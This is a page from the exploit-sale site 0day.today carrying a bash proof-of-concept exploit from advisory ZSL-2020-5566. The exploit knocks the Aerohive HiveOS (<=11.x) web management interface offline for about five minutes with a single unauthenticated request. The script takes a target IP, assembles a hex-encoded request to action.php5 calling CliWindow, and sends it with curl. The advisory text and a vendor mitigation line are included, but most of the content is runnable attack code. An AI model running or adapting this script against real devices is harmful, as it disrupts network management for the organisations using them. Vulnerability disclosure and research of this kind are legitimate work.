0day.today - Biggest Exploit Database in the World.
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn
GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Contact us
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Extreme Networks Aerohive HiveOS 11.x Denial Of Service Exploit
[#!/bin/bash # # # Extreme Networks Aerohive HiveOS <=11.x Remote Denial of Service Exploit # # # Vendor: Extreme Networks # Product web page: https://www.extremenetworks.com # Datasheet: https://www.aerohive.com/wp-content/uploads/Aerohive_Datasheet_HiveOS.pdf # Affected version: <=11.x # # Summary: Aerohive HiveOS is the network operating system that powers # all Aerohive access points, based on a feature-rich Cooperative Control # architecture. HiveOS enables Aerohive devices to organize into groups, # or 'hives', which allows functionality like fast roaming, user-based # access control and fully stateful application-aware firewall policies, # as well as additional security and RF networking features - all without # the need for a centralized or dedicated controller. # # Desc: An unauthenticated malicious user can trigger a Denial of Service # (DoS) attack when sending specific application layer packets towards the # Aerohive NetConfig UI. This PoC exploit renders the application unusable # for 305 seconds or 5 minutes with a single HTTP request using the action.php5 # script calling the CliWindow function thru the _page parameter, denying # access to the web server hive user interface. # # Vendor mitigation: # CLI> no system web-server hive-ui enable # # Tested on: Hiawatha v9.6 # # # Vulnerability discvered by Gjoko 'LiquidWorm' Krstic # @zeroscience # # # Advisory ID: ZSL-2020-5566 # Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2020-5566.php # # # 05.12.2019 # if [ "$#" -ne 1 ]; then echo -ne "\nUsage: $0 [ipaddr]\n\n" exit fi IP=$1 SBYTES=`echo -e \ "\x61\x63\x74\x69\x6f\x6e\x2e"\ "\x70\x68\x70\x35\x3f\x5f\x70"\ "\x61\x67\x65\x3d\x43\x6c\x69"\ "\x57\x69\x6e\x64\x6f\x77\x26"\ "\x5f\x61\x63\x74\x69\x6f\x6e"\ "\x3d\x67\x65\x74\x26\x5f\x61"\ "\x63\x74\x69\x6f\x6e\x54\x79"\ "\x70\x65\x3d\x31"`##_000000251 curl -vk "https://$IP/$SBYTES" --user-agent "Profesorke/Dzvoneshe" # 0day.today [2024-12-23] #